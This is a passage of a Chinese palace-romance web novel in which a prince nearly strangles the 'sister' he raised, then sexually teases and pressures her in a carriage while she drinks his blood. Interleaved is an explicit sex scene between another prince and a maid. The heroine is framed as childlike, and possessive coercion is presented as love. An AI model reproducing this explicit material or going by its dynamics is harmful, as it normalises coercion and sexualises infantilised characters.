只知道是个女人,他临行前也注意到过,但萧衍一向荒唐,让女人穿成这样陪在身边狎弄也是常事,他早已怪不怪了,所以并没有留心。 只是没想到,她会上了他的马车。 可惜他从来不是怜香惜玉之人。 放任着手上力道加重,他并不打算置她于死地,只不过出于厌恶和过往的阴影,下手自然也不会轻。 直到眼前的人挣扎着去掰他的手,发现撼动不了分毫时,拼尽力气,终于艰难地发出一声:“……呜……哥哥……” 萧彻才如梦初醒,仿佛做错事一般,慌忙无措地松开了手:“颜颜?!” 他立刻掀掉了她的帷帽,帷帽被掀落的瞬间,露出一张娇美含泪的美人面,脸颊因为被扼喉而涨得通红,眉尖紧紧地蹙在一起,显然是难受极了。 她不住地喘息着,抬头泪眼盈盈地望向他,好不可怜。 不是颜嘉柔又是谁? 第66章 第66章他抬手刮了一下她的鼻尖…… 萧彻皱眉看着她,一时自责到了极点:“颜颜,怎么是你?” 颜嘉柔侧坐在他腿上,一时又是害怕又是委屈:“萧闻祈,你差点把我掐死了……” 毫不夸张,她刚才真的体验了一把濒死的感觉。 萧彻跟她相处时,从来待她动作轻柔,渐渐地便让她产生一种错觉,好像萧彻永远都会如此。 谁知道刚才在不清楚她的身份时,他竟完全判若两人,看向她的眼神,是从骨子里透出来的厌恶与冷漠,让人汗毛倒竖,一阵胆寒。 手上的动作,更是毫不留情。 若不是她刚才拼尽力气发出声音,让他知道是她,她真疑心萧彻会将她掐死。 好可怕,原来他捏死她就像捏死一只蚂蚁一样简单,以后再也不敢瞒着身份,偷偷接近他了。 也是经过这次的事,她才知道以前他有多让着她。 就算从前不对付的时候,他也从不会还手弄疼她。 似今日这般,还是头一遭。 颈上仍残留着令人窒息的束缚感,颜嘉柔心有余悸,轻轻地拍了拍胸月甫:“吓死我了……” 萧彻带有安抚意味地一遍遍亲吻着她:“对不起颜颜,我不知道是你……” 恐惧仍未完全消散,颜嘉柔瑟缩了一下,下意识地偏头避开了他的吻。 萧彻心中一刺,嗓音有一丝不易察觉的颤抖:“颜颜,别害怕我……” 颜嘉柔回过神来,她不是全不讲道理的人,萧彻方才如此待她,大约是以为她是什么不怀好意的坏人,所以才会那么对她:“我知道你不是故意的,我不怪你……” 萧彻微微一怔,似乎有些意外颜嘉柔的通情达理,抚摸着她的脸颊,弯唇在她额头印了一吻:“真乖。” 颜嘉柔也柔顺地攀附上他的肩颈,就像从前一样,依偎在他的怀里:“哥哥……” 萧彻轻轻摩挲着她的发顶,顺手揽过了她的细腰,一低头,余光却瞥见她雪白的颈子上浮着一圈淡淡的红痕。 他眉心深蹙,心疼和自责织成了一张密不透风的网,束缚得他喘不过气来。 他烦乱地吐出一口气,生平第一次对自己产生了极大的厌弃。 这个世上,没有任何人可以伤害她,包括他自己。 手指轻轻抚上她的伤痕,他滚动了一下喉结,声音带着细微的颤抖:“疼不疼?” “疼……” 小姑娘抬头,眉尖轻蹙,眼圈泛红,一副楚楚可怜的姿态。 最初的恐惧和后怕消褪后,颜嘉柔顺杆往上爬,不放过任何一个向他索取的机会:“很疼……所以,哥哥可以给我一点补偿么?” 她说完视线便落在他颈间隐伏的血管上,不由得舔了舔唇瓣。 她如今对萧彻的渴念越演越烈,身体好像时刻都处在躁动之中,只有见到萧彻,感受到他的气息和触碰,才会稍稍抚平一些。 然而也只是一些,如今就连取血,似乎都没办法完全慰藉了,以致于她明明昨天刚刚取过血,如今见到萧彻,却又忍不住了。 不过虽然没办法完全抚平躁动,但取了血之后,总会稍稍好过一些。 她难//。耐地靠近了他,温软的舌尖若有似无地**他的喉结,仿佛挑//。逗一般,然而雪白的牙齿已经微微探出来,只不动声色地往一旁挪了些许,对准凸起的青筋,刚要咬下,额头却被横生的手指抵住了。 颜嘉柔不得不停下了动作,抬头委屈巴巴地看向萧彻:“呜……哥哥……” 萧彻只淡淡地扫了她一眼,略挑起一侧的眉。 哦?敢动别的心思了,想是不疼了,也不怕了。 方才一时关心则乱,如今见她已经无事,理智终于渐渐回归,他看着她,目光带着一种近乎拷问的审视,嗓音微沉,对她有着天然的压势:“你怎么会在这儿?” 颜嘉柔怔了一下,先前他又是道歉又是带有安抚意味地亲她,她还以为他并不追究她擅自跟来,正暗自窃喜,想当做什么都没发生过呢。 没想到他突然发难,一时有些心虚,支支吾吾地道:“我……我……” “我”了半天没“我”出个所以然来,她索性破罐破摔,昂起脑袋,一副理不直气也壮的样子:“我不能来吗!” “你……你别想丢下我……你明明知道我离不开你,我生病了……你明明都知道,还这样……太坏了……” 说到后来,倒是越说越委屈,把自己给说哭了。 萧彻轻轻叹了口气:“我没有丢下你。” 他抬手替她拭去了眼尾的湿意,放柔了语气道:“我不是说了么,我会安排好的。” 颜嘉柔伸手揽住了他的腰,把脸埋进他的怀里,闷闷地道:“什么安排,我统统都不相信,只有我在你身边,才是最好的安排,萧彻,别赶我走……” “可是颜颜,我此行不是去游山玩水的,绝不轻松,我有我该做的事要做,到时也没办法好好照顾你。” 颜嘉柔闻言从他的怀里抬起头来,一双眼睛定定地看着他:“我知道的,我知道你有你的正事要做,事关家国大事,我不是那种不知道轻重缓急的人,孰轻孰重,我还 是分得清的,你放心,我绝不会给你添乱。” “可是灾区动荡,你……” 颜嘉柔连忙道:“我会乖乖地待在房间里等你回来,我不乱跑,可以么?” 小姑娘一双眼睛亮晶晶地看着他,饱含着殷切的祈盼,拒绝的话便说不出口,可是让她随行,这原本完全不在他的计划之内,萧彻眉心皱起,有些头疼地看着她。 颜嘉柔观察他的神色,见他一脸不情愿,心下凉了半截,雪腮一鼓一鼓的,也不知道是生气还是委屈,见来软的不行,便索性道:“你……你别想把我送回去……” 她凶巴巴地威胁他:“我们已经出城了!现在再把我送回去,所有人都会知道!一定会生出不必要的事端……” “而且我不会骑马,我怎么回去?难道你们要调头送我回去么?那岂不是因为我耽误正事了,”嘉柔抿了抿唇,弯出一个讨好的笑:“哥哥,我知道你不会的,对不对?” “你也知道你会误了正事?” 萧彻抬手慢慢按压了眉心,只问:“父皇知道你出来么?” “我跟皇祖母说了,皇祖母说会帮我跟父皇说的。出宫散心,原也不是什么大事,父皇不会追究的。” “谁帮你混出来的,萧衍?” 颜嘉柔低头绞着手指,像是不愿意供出别人似得:“我……” 倒还挺讲义气…… 萧彻扫了她一眼:“想留在我身边,就乖乖答话。” 颜嘉柔眼睛亮了一瞬,萧彻的言下之意,是只要她肯乖乖答话,他就能让她留在身边了? 少女唇边立刻绽出了笑意,明媚极了:“哥哥我说,我说,”她不带一丝犹豫地便将萧彻供了出来:“是二哥帮的我,我说我生病了,药在你身上,我不能和你分开的……” 萧彻:“然后他就信了?” “唔……”颜嘉柔回想了一下,萧衍当时只是意味深长地笑了一下,也没多问什么,便很爽快地答应了。 她点了点头,如实道:“是的,哥哥。” 萧彻挑眉, 啧,刚夸她讲义气,结果转头就把萧衍给卖了。 果然是萧衍,他一向知道他荒唐,却没想到这么荒唐。 把府上的那些莺莺燕燕乔装成小厮带来也就算了,居然把幼妹也带来了。 呵,真想掀开他的脑袋,看看里面装的都是什么。 —— 另一辆马车上,萧衍正抱着一个美婢狎侬,美人益善半褪,两条雪柏先息的褪被迫分开垂落在两侧,随着马车的颠簸轻轻晃动,正是要紧的关头,萧衍却忽然停下了,漪兰不上不下,难受极了。 她娇懒无力地拿手推他,面色飞鸿,轿口今连连:“嗯……怎么了,殿下?” 萧衍摸了摸鼻子,突然打了个喷嚏,皱眉道:“啧,我怎么感觉有人在骂我呢。” 萧衍府上美人成群,性情各异,有如她这般温顺的,自然也有恃宠而骄,爱使小性子的。 美人即便是骂人,那也是别有风情,萧衍通常情况下并不会生气,只当是情趣了。 因此他说感觉有人在骂他,漪兰便只当是他又突然惦念上哪位美人了,便撩起眼皮,媚眼如丝地瞪了他一眼,故意嗔道:“殿下,你跟奴家在一起,怎么还想别人呢?” 萧衍狭长的丹凤眼眯起,故意抬腰丁庄了她一下:“美人可莫冤我,本王如今心心念念想着的,可都是该怎么淦肆你。” 漪兰被丁庄得声音颇岁,之家审审地线汝他的胳膊:“呃……殿下……您……” 萧衍一边丁庄着她,一边道:“漪兰,你还有脸说本王,说起来,刚才我三弟出来,你看得眼睛都直了,一副恨不得扑上去的样子,怎么,想被他上啊。” 漪兰一怔,目光有些不自然:“殿下,您胡说什么呢,我可是殿下的人……” “得了吧,我还不知道你们的心思……”萧衍哼笑道:“不过你死了这条心吧,他可看不上你们。” 漪兰眼睫轻颤了下,被欲望染成绯色的面颊此时恍惚褪去了几分血色:“漪兰不过中人之姿,自然入不得三殿下的眼……” “美人何必妄自菲薄,你若只是中人之姿,本王又怎么会对你如此爱不释手?我三弟看不上你们,绝非是你们生得不够美,便是天仙一般的人物,他照样不放在眼里……” “为何?难道是他清心寡欲,不近女色?” “清心寡欲、不近女色?” 萧衍笑了一声,仿佛是听到了什么笑话:“他身上可是有一半兰陵血脉,你觉得可能吗?你难道没听说过,兰陵人最为重欲?” “那三殿下为何……” “他啊,”萧衍神秘莫测一笑,凑到她耳边道:“他心里有人了,这么多年,一直为她守身呢。兰陵人多纵欲滥情,这轮到我三弟了,谁能想到,倒出了个情种呢。” 漪兰微微睁大了眼眸,像是十分意外:“三殿下竟为一名女子做到如此?” 她喃喃地道:“也不知是哪位女子,让他做到这等地步……与自己的天性对抗,该是很辛苦吧……” “哪位女子?他自己养大的那位咯,又娇又作,黏人得厉害,又得时时刻刻哄着,当妹妹还行,女人,我可受不了……” “至于忍得辛不辛苦?” 他乜了她一眼,嘲弄道:“怎么,你心疼啊。” “用不着你心疼,自有他的幼妹会好好心疼他。” 想起小嘉柔那日巴巴地求到他跟前,说想和他们一起南下,一副与萧彻难舍难分的样子,便笑道:“忍?我想他今后,该是不必再忍了。” 不过小嘉柔不是一向与萧珏那个废物走得很近吗,这几年都跟个小尾巴似得跟在他身后,对三弟总是没有好脸色,一见面总要拌几句嘴,一个拈酸吃醋冷嘲热讽,一个大小姐脾气毫不收敛,两人一撞上,简直是势如水火。 如今小嘉柔乍然间移情别恋,陡然转变了态度,倒是出乎他的意料。 但话又说回来,其实她会移情萧彻,他一点儿也不意外。 前后虽然矛盾,可他心里就是这么想的。 一想到小嘉柔移情别恋,萧珏连她都失去了,他心里就颇为痛快。 萧珏这个废物,原本就不配得到任何人的爱。 病恹恹的身子,在床上能y得起来吗,小嘉柔选了萧彻,以后就知道好处了。 只是她年纪小,实在不经事,嫩蕊娇花一般的身子,能否承受得住他三弟的过人之处,就未可知了。 想到此处,身上不由得一阵灶熱,恰着漪兰的妖众众往下岸:“美人儿,心疼我三弟做什么,他有人疼,你还是先心疼心疼我吧。” 漪兰盼着他的肩膀,随着他的栋座商夏祈福,被快易逼出的泪水渐渐模糊了视线,眼前之人的容貌便看不清了。 等到视线再度变得清晰之时,眼前仿佛浮现出另一张脸。 极为昳丽的眉眼,摄人心魄,气质却冷淡疏离,目下无尘,仿佛这世间万物,都无法牵动他的任何情绪。 而此时这张脸上却沾染了晴淤,她恍惚地想到,原来天人也会被拖入这万丈红尘之中么。 这样极致的反差,愈发勾人。 萧衍忽然“嘶”了一声,用力掐了一下她的妖,哑声道:“怎么突然咬这么紧?” “美人,是不是发s了?” 漪兰不说话,只是句趔地川西着,目光已经有些换叁,最后凭借着眼前那点可怜的幻想,多索着潘上了姬乐。 那厢萧衍也被她这一下彻底催逼了出来。 于是马车上地这场伊妮晴事,总算暂时告了一个段落。 —— 那厢颜嘉柔已经把萧衍给卖了个彻底。 萧彻抬手,手背轻轻摩挲着她的脸颊,似笑非笑道:“你二哥帮了你,你就这么对他啊。” 颜嘉柔眨了眨眼,讨好地在他的手背上蹭了蹭:“虽然我也喜欢二哥,但跟三哥哥比起来……” 少女笑容明媚,一双黑白分明的眼睛看人时极为真挚,仿佛装了十二万分的真心:“自然是三哥哥更为要紧啦。” 言下之意,便是她更喜欢萧彻,自然也更听他的话,他要她说实话,她便乖乖照做——即便是卖了萧衍。 萧彻滚动了一下喉结,虽然知道她不过是想留在他身边好方便取血才这么讨巧卖乖,为了他出卖萧衍,但这样的话……实在好听。 他揉了揉她的脑袋,心也跟着软成了一片。 他想问,那比之萧珏又如何? 却 又怕听到的答案不是自己想要的,无端坏了此时的气氛。 颜嘉柔见他久久不说话,慢慢靠近了他,与他额头相抵,小心翼翼地试探道:“我都乖乖回答了,那可以留下来了么?” 萧彻看着她,到底还是“嗯”了一声:“留下可以,不过要听话,知道么?” “太好了!”小姑娘欢呼一声,兴奋地在他脸上亲了一口,眼睛亮晶晶地看着他:“我就知道三哥对我最好啦!” 哦?萧彻饶有兴味地挑眉,她从前跟他吵架时,可不是这么说的。 说的明明是:萧闻祈天下第一可恶,是我最讨厌的哥哥! 不过短短一月时间,便改了口风。 倒是会见风使舵。 他抬手刮了一下她的鼻尖:“油嘴滑舌。” 话虽如此,唇角却分明不可抑制地翘起。 第67章 第67章他才是彻底上瘾的那一个…… 两人在马车上温存了一会儿,萧彻环着她的腰,低头把玩着她的手指,鼻尖传来淡淡的幽香,他随意问道:“身上用了花露?” 颜嘉柔愣了一下,抬起头去看:“是啊,你……喜欢么?” 那日映雪从宫外给她带来了那罐花露,说是宫外时兴的,许多女子与情郎约会,都会抹上这个,她想萧彻或许会喜欢。 他喜欢了,说不定心情好,就不计较她偷偷跟他跑出来了,她其实也知道这样做是不对的。 “喜欢,”萧彻低头吻了一下她的额头:“不过,怎么忽然想起用这个?” 他记得以前她从不用这些花露香粉,因为她虽然喜欢花花草草,但身上都是这些味道的话,鼻子会很难受,所以从来不用。 这么多年了,他自然认得她的体香,如果不是她今日用了香露,他不会认不出她,也不会失手伤了她。 颜嘉柔愣了一下,没想到萧彻会突然问这个,她脸色微红,自然不愿说是为了他才用的:“嗯……就是……就是觉得味道好闻……” 她喜欢这些花露的味道,但并不愿用在身上,一直闻的话,鼻子会不舒服,她完全是为了让萧彻更喜欢她才这么做的,可结果好像并没有如她的愿,他这么问是什么意思,她委屈地看向他:“你不喜欢么?” 如果萧彻不喜欢,那她岂不是白受罪了。 她有些生气了,从他怀里坐起,一手抵在他的胸膛,另一只手伸出食指指着他,凶巴巴地道:“不许说不喜欢!” 葱白的指尖正堪堪抵着他的唇,萧彻顺势函住了,舌尖轻轻扫过她的指尖,十指连心,指尖是何等敏淦的地方,颜嘉柔瞬间起了一阵禅理,萧彻轻笑,又不怀好意地咬了一下,不轻不重,却足以让她忍不住身影出声。 萧彻撩起眼皮,眉眼风流,懒洋洋地笑,“宝宝,没有说不喜欢。” “你……” 颜嘉柔趁机将手指抽了回来。 指尖似乎还残留着萧彻唇齿间的温度,那一点热意自指尖流窜开来,一路蔓延到脸上。 颜嘉柔耳尖都红了:“你……你干嘛……” 质问变成了调情,她这会儿嗓音软绵绵的,连凶都凶不起来了。 萧彻笑着将人揽了过来,颜嘉柔又被迫贴近了他,听他温熱的呼吸酥麻地轻拂在脸颊:“宝宝怎么样我都很喜欢,” 他下巴懒散地枕在她的肩上,侧头轻轻嗅闻了她身上的气息:“很好闻的味道,不过颜颜原本的味道,就很好。” “是淡淡的乳香味,我很喜欢。” “什……什么乳香,”颜嘉柔一下子涨红了脸,一脸不可置信地看着他:“你……你胡说什么!” 萧彻退开了些许,微微挑眉,似乎有些讶异她过激的反应。 不过片刻,他就回味过来了。 “我说的是牛乳,”他慢条斯理地挑起她的下巴,欣赏着她面色潮红的羞态:“宝宝,你以为我说的是什么?” 扶腰的手掌慢慢上移,宽大的手掌堪堪拢住一侧鲍曼:“以为我说的是这里么,嗯?” “宝宝,”他附在她的耳边,哑声道:“我想喝你的汝之。” 颜嘉柔只觉耳尖瞬间发烫,连忙退开了身子,又羞又恼地控诉道:“你……你下流!” 萧彻勾唇,一贯的恬不知耻:“那我也只对你下流。” “再说了,”他睨了她一眼,似笑非笑地道:“取了我那么多血,还我一点别的,又怎么了?” “你……” 颜嘉柔脸红得都快冒烟了,水眸泛着潋滟的湿意,似乎十分为难。 她无措地绞着手指,红润的唇瓣紧紧咬着,半晌后,才嗫嚅着嘴唇,细如蚊讷地道: “可……可我现在,没有那个。”她脸上晕红一片,极为羞耻地道:“嬷嬷说,要……要生了小宝宝才会有……” 话音刚落,空气陷入了诡异的静默。 颜嘉柔见他久久不说话,以为他不高兴了,心中忐忑,便解释道:“不是……不是不给你,是我现在……没有……” 萧彻却还是不说话,搂着她腰肢的手,却分明加重了力道,像是在极力忍耐着什么。 她终于察觉到不对劲,抬头一看,萧彻胸腔微微震颤,一张俊脸神色极不自然,却是忍笑忍得辛苦。 四目相对,他像是再也忍耐不住,伏在她颈侧,终于肆无忌惮地笑了出来。 笑得肩膀耸动,半边身子都在颤抖。 饶是颜嘉柔再后知后觉,此时也反应过来自己是被戏弄了。 她深吸一口气,脸色涨得通红,羞恼道:“萧闻祈!你……你笑什么!” 这一声终于让萧彻停了下来。 萧彻从她的颈侧抬起头,抬手摸了摸她的脸,哄她道:“对不起啊宝宝,我不是故意笑你的……” “实在是……你太可爱了……”萧彻忍着笑:“我是逗你的啊宝宝,你难道没听出来吗?” “没有!你就是欺负我不聪明!”小姑娘又是生气又是委屈,大声地控诉道:“你太过分了!” “好好好,是我的错,都是我的错,心肝,别生气了好不好,嗯?” “不好!”颜嘉柔推开他,为了让他长教训,她决定不那么快原谅他:“别碰我,我不想理你了!” “哦?不想理我?”萧彻强势地将人扳过来,微笑着道:“那你的汝之,给谁喝啊。” “你!”颜嘉柔再料不到他还敢提这个,扭过脸道:“反正不给你喝……” “是么?颜颜方才明明说,不是不想给我,只是现在没有,”他看着她,似笑非笑道:“言下之意,难道不是等以后有了,就立刻给我吗?” “是……是么,”颜嘉柔故意装作听不懂的样子:“什么……我有这么说过吗?我……我不记得了,说不定……说不定是你听错了!” 萧彻眯起眼睛,轻扯了唇角:“怎么, 想赖账?” “说出口的话,都可以反悔的话,那我之前说,和你和好的话,岂不是也……” 话还未说完,小姑娘便连忙转了回去,伸手急急地掩上了他的唇,扭捏地道:“哥哥,人家没有想赖账……” 萧彻便笑了,故意添了一下她柔嫰的掌心,问她:“那宝宝的汝之,以后给不给我喝?” “给……等我生完小宝宝,有了……有了汝……汝之后,就给哥哥……” “哦?等你生完小宝宝,那……是怀的谁的小宝宝?” 颜嘉柔愣了一下,有些茫然地看着他:“我……我不知道……” 萧彻凑至她耳边,轻咬了一下她的耳垂,轻笑道:“傻瓜,既是要给我喝你的汝之,怀的,自然是我的种。” 他伸手抚上她平坦的小腹,哑声道:“这里,以后会装满我的东西,小兔,就给我生一窝小兔好不好?” 嘉柔在他怀中瑟缩了一下:“不……不要生那么多……我害怕……” 话音刚落,头顶上方便传来男人的一声闷笑:“傻瓜,怎么什么都信?” “逗你的,自己还是个孩子,生什么?” 他怜爱地亲吻着她的鬓角:“从始至终,我只要一只小兔就够了。” ——“怀里的这只。” —— 两人又厮磨了好一会,颜嘉柔也不知怎么,明明是要发脾气的,后来却又稀里糊涂地和他亲到一块儿了。 等萧彻餍足地放开了她,她早已被亲得迷迷瞪瞪。 秦彻伸手扶过她东倒西歪的脑袋,好笑道:“怎么,醉酒了?” “我又不喝酒……” 萧彻弯唇:“那就是醉奶了。” 说着想起儿时的事,附到她耳边道:“说起来,你小时候跟我睡,半夜吐奶还吐了我一声,那么大一张床,偏要吐在我身上,” 他轻咬了一下她的耳廓,带了点含混的笑意:“颜颜,你从小就那么坏。” “你……你胡说……” “胡说?你回去问问从小照顾你的嬷嬷,就知道我有没有胡说了。” 颜嘉柔怔了一下,听萧彻的语气,好像确实不像是在胡说。 虽然三岁前发生的事,她都不记得了,但她知道在四五岁之前,她都是由贵妃养着的,那她小婴儿时期,的确很有可能跟萧彻睡在一张床上。 想到这一层,她底气未免有些不足,声音也跟着弱了下来:“那……那我那个时候还小,什么都不懂,就算真的像你说的那样,那我……我也不是故意的……” 萧彻原本也只是儿时的趣事随口一提,这会儿见她这般心虚,便又起了逗弄的心思,嘴巴也开始犯贱了。 “哦?不是故意的,就可以当做什么都没发生过?” “那我不是故意地*你一顿行不行?” “你……你……”颜嘉柔瞪大了眼睛:“你在说什么,那个怎么可能不是故意的!” “怎么不可能?”他握过她的手腕,引导她的手缓缓向下:“你看,它为你变成这样,我一点办法都没有。” 她被烫得立刻缩了回去,不管多少次,都还是会被他惊人的迟村给吓到。 也不知是单纯地被吓到了,还是别的什么原因,她抿着唇,一颗心跳动地厉害:“萧彻,你能不能……别这样……” “我说了,现在不行……你答应过我的……” 萧彻不说话,半晌后才“嗯”了一声,他下巴枕在她的肩上,闷闷地道:“对不起宝宝,我是不是吓坏你了。” 颜嘉柔一怔,似乎有些意外他会突然向她道歉,难道是她话说重了? 她抿了抿唇,伸手轻轻拍了拍他的背,心软道:“其实……还好……” 倒不至于吓坏,萧彻动不动对她法晴,她早就习惯了。 只不过在真正见到他这一面之前,她是无论如何也想不到他有朝一日居然会对她这样…… 她就应该把他的这些言行都记录下来,到时候装订成册,分发给那些爱慕他的女子,若是她们知道平日里为人淡漠清冷的三殿下私底下居然是这样一个人,肯定吓坏了,再也不喜欢他了。 虽然早就习惯了,但是被欺负时自然还是会有不满和苦恼,她真想让所有人都看清他的真面目,让他颜面扫地、无地自容,以此来泄愤! 不过话又说回来了,萧彻这般不知羞耻,真的又会在意这些么? 正胡思乱想间,耳尖忽然传来了一阵细微的疼痛,是萧彻轻咬了她一口。 他的声音还带着点沉闷的沙哑,他说:“怪你。” 颜嘉柔茫然道:“什么?” 萧彻轻轻蹭了蹭她柔软的颈侧,不知道那个怪病会不会传染,他觉得他才是彻底上瘾的那一个,颜嘉柔分明只要他的血,他却已经把他的心交出去了。 事态的发展好像越来越超出他的控制, 没有人知道他到底有多喜欢她,一看见她就不可抑制地想要亲她抱她、一遍遍地让她的身体染上他的气息,打上他的烙印,甚至这些已经无法满足他日益强烈的独占欲,他想彻底占有她。 只有这样,她才能真正属于他,颜嘉柔的左右摇摆让他总是处于一种烦躁不安的状态,他迫切地想要做些什么来缓解这种不安,或许只有一遍遍地浸汝她的身体,在那一刻,他才能真切感受到她是属于他的。 他慢慢地垂下眼睑,声音辨不出是什么情绪:“是你把我变成这样的,所以要怪你。” “这……这怎么能怪我呢?”小姑娘浓睫轻颤,神情委屈中又带了点真挚的困惑,愈发显出一种残忍的天真:“我明明……什么都没做……” 萧彻扯了唇角,有些无奈又有些恼恨地看着她,忍不住掐了一把她丰盈的颊肉,多少带了点泄愤的味道:“真是没心肝的小兔。” “哥哥……你总掐人家……”颜嘉柔有些不满地揉了揉脸颊,敢怒不敢言地看着他。 她有些担心,脸上已经很胖了,会不会越掐越肿呢。因为她最近发现她的凶也越来越肿了,原因是萧彻每次见面都要掐她那里。 “不许撒娇,”萧彻动作轻柔地替她揉了揉脸颊,嘴上却不饶人:“谁教你这么没心没肺。” 他将额头轻轻抵靠了过去,两人呼吸交错可闻。 静默了半晌后,他稍稍退开了些许,手掌仍然抚摸着她的面颊,他深看了她一眼,喉结上下滚动:“那你教教我,” 他说:“怎么样才能不那么喜欢你?” 俊美嚣张的一张脸近在咫尺,他一瞬不瞬地看着她,世间有万物,琉璃色的漂亮瞳孔却只倒映出她一个人的身影。 她第一次在他的脸上,看到一种近乎脆弱的神情,颜嘉柔一时有些失神,心尖颤了一下:“哥哥……我……” 然而下一刻,脸上那般神情便消散了,取而代之是他一贯的漫不经心,让人疑心刚才所见只是错觉:“算了,你生来便是没有心肝,” “‘不那么喜欢我’这件事,于你而言,恐怕轻而易举,从来不必费心琢磨,自然没什么心得,我问你也是白费。” “还是问点更有意思的事情吧,”他指腹轻挑地蹭着她耳后的软肉,散漫一笑,再次绕回了之前的话题:“宝宝,你小时候吐了我一身,到底怎么赔我?” 怎么又是这个? 颜嘉柔简直拿他没办法了,多少年前的事情了,他怎么还要找她算账:“那你说要怎么办嘛。” 萧彻慢慢勾起唇角:“当然是,也让我弄你一身了。” 他将人往怀里按,让她清楚地感受他身体的喿动。 他像某种犬类,在祈求奖赏时讨好地用侧脸磨蹭着她,在她耳边压抑地轻椯,他的声音很好听,这时刻意往下压,有一种撩人的性//。感:“宝宝,我好难受,你帮帮我。” 颜嘉柔再迟钝这时也反应过来了,什么赔他吐了一身,哪有这样算账的,他原本也是无意提及,演变到如今的地步,根本就是故意拿了当做借口。 奈何实在被萧彻磨得受不了,她一心软,便答应了。 可是几乎立刻就后悔了,几乎快要哭出来: “我……我怎么帮你……” “萧彻,我不会……” “不怕,”萧彻低头,一根根亲吻 了她的手指,一想到这双白嫩纤细的手,待会儿就要可怜兮兮地握着他的东西,周身血液便疯狂涌向某处,他哑声道:“我教你。” ………… 马车继续在官道上行驶,不知过了多久,轿帘忽然被人一把从里面掀开,萧彻看了一眼骑在马背上的人:“薛止。” 薛止一愣,连忙转过身去:“主子,怎么了?” “给我一个佩囊。” 薛止立刻从随行的囊袋中取出一个佩囊递了过去,萧彻接过,立刻放下了轿帘。 薛止挠了挠脑袋,忽然想起马车内的小几上似乎有摆放茶水,怎的主子还要问他要装水的佩囊呢? 第68章 第68章“宝宝好乖。”…… 颜嘉柔被喂了点茶水和糕点,有气无力地靠坐在萧彻的身上。 舟车劳顿,果然幸苦,她又向来娇懒,不过赶了半天的路程,就已经有些受不了了。 偏偏还不能抱怨,因为这是她自己找的。 萧彻低头为她揉着泛酸的手腕,察觉到她的情绪有些低落,揉了揉她的脑袋:“怎么了,宝宝?” 颜嘉柔仰起脑袋,她在身体不舒服的时候就特别容易对旁人产生依赖:“哥哥,你能亲亲我么……” 萧彻挑眉,难得小兔主动,他自然没有拒绝的道理。 他拨开她散落的鬓发,唇边浮着懒散笑意,低头吻了上去:“乐意效劳。” 接吻的滋味总是格外美妙,精神的愉悦稍稍抚平了身体的不适。 一吻结束后,萧彻抚摸着她晕红的脸颊。 小姑娘整个人依旧有些恹恹的,瞧着不太有精神,眼眸泛着水汽,方才眼皮沾染的薄红还未褪去,显然是一副刚刚被人欺负完的可怜模样,格外惹人怜惜。 小兔犯恹,是该要投喂了。 况且欺负完人,也不能什么表示也没有。 再说,虽然小兔一身娇气任性的臭毛病,但方才总体还算配合,对她来说,已经算是很乖了,当然要给些奖励。 思及此,他懒洋洋地后靠在马车壁上,手指挠了挠她下颌边缘的肌肤,唇边浮着一丝笑。 他看她时的眼神总是很蛊人,让人莫名脸热的同时也会不自觉的失神,像是志怪中勾人的精魅,问她:“想不想要?” 颜嘉柔愣了一下,在还没反应过来他话中的意思前,就晕晕乎乎地点了点头。 萧彻轻笑了声,喉结上下滚动,配合着稍稍仰起了下颌:“那还不过来?” 颜嘉柔这才反应过来这是在邀请她取血。 她眼睛亮了一瞬,忍不住舔了舔唇瓣。 哥哥真好,她想。 她下一瞬就扑到了他的身上,熟练地找到了隐伏在喉结附近的血管,先安抚性地伸出舌尖舔了舔,牙齿正要咬下,不知怎么,脑海中忽然浮现起之前注意到的一个细节,于是本该咬下的牙齿,反而往里收了,犹豫的当口,只能不断地用舌尖舔。 萧彻被她舔得有些痒,笑着偏头躲了一下:“怎么了?怎么光舔不咬,想迷惑我啊。” 颜嘉柔停了下来,却依旧没咬。 萧彻挑眉,察觉到异样,轻掐着她的后颈将她带离了开来。 四目相对,他弯起唇角,似笑非笑:“小兔不做,改当小狗了,嗯?” “这么会舔,下回帮我舔别的地方好不好?” 但见她始终蹙着眉心,一脸担忧的模样,终于收起了玩笑神色:“宝宝,到底怎么了?怎么这么看着我?” “哥哥,你今天的脸色好像不太好……”她道:“你怎么了?” 今天萧彻的脸色似乎有些苍白,虽则他的肤色原本就白,新雪一般,但今日显然与从前不一样,这种毫无血色的苍白,倒更像是失血过多。 他怎么了?是受伤了吗?还是她不知节制,取血太过频繁所致?是上回她太贪心,取了太多了么,导致他还没恢复过来? 萧彻对上她的视线,一眼就看出她在想什么,滚动了一下喉结,轻轻揉了揉她的脑袋,安慰道:“没什么,是昨晚没睡好罢了,不关你的事,别多想。” “昨晚没睡好?”小姑娘歪着脑袋,又是担忧又是好奇地问:“为什么昨晚会没睡好呢?” 萧彻挑眉,忍不住扯了唇角。 他原本不过是找个借口随口一说罢了,他哪是没睡好,他是为了眼前这只笨兔子放了半身的血,所以才会这样。 既然不是没睡好,又何来没睡好的理由? 他屈指敲了一下她额头,笑容懒散:“小孩子家家的,打听那么多干什么。” 他故意吓她:“知道太多,对你没什么好处。” 谁知小姑娘非是不依不饶,非得缠着她问:“我不是小孩子了!你告诉我嘛哥哥,哥哥,哥哥……” 萧彻看着她笑,被她撒娇得没办法了,只能道:“好吧好吧,我告诉你。” 他看了小兔一眼,她一脸认真地看着他,静静地等着他的回答。 还真是天真。 她越是这样,他就越是忍不住想逗她。 “为什么没睡好——因为,我做了一晚上的椿梦。” 他故意凑到她耳边,半真半假地道:“你知道的,我们兰陵人杏//欲都很强,平常得不到满足,自然只能在梦境中纾//解了。” 说完之后,他注意到小兔原本雪白的耳垂,一点一点变得通红。 “你……你……我……”颜嘉柔再怎么也想不到,萧彻睡不好的原因竟然是这个,兰陵人那方面确实很强,因此她根本没有怀疑。 萧彻做了一晚上椿梦,他会梦到谁,在梦境中做了什么,答案简直不言而喻。 他那么热衷那种事,总是想那样对她,在梦境里,一定什么都对她做了。 一时不由得浮想联翩,脸也越来越红,她低着头,手指紧紧地绞在一起,羞耻极了:“你怎么……可以那样对我呢……我还没答应你呢……” 萧彻看着光脑补就把自己弄成大红脸的小兔:“?” “呃,我有说我在梦里做什么了么?等会,我好像也没说我梦到你了吧?”他忍不住敲了一下她的额头:“想什么呢小兔。” 这一下并不重,颜嘉柔却觉得脑袋轰的一声,整个人都呆住了。 萧彻做了椿梦,但对象却不是她…… 颜嘉柔从来没有这种感觉,浑身上下的血液都好像瞬间凝固住了,整个人都在发抖。 她竭力克制住自己的的情绪,抬起头,一张小脸血色尽褪,脸色透出几分苍白,眼圈泛红,一副随时都要哭出来的样子。 “那是谁?” 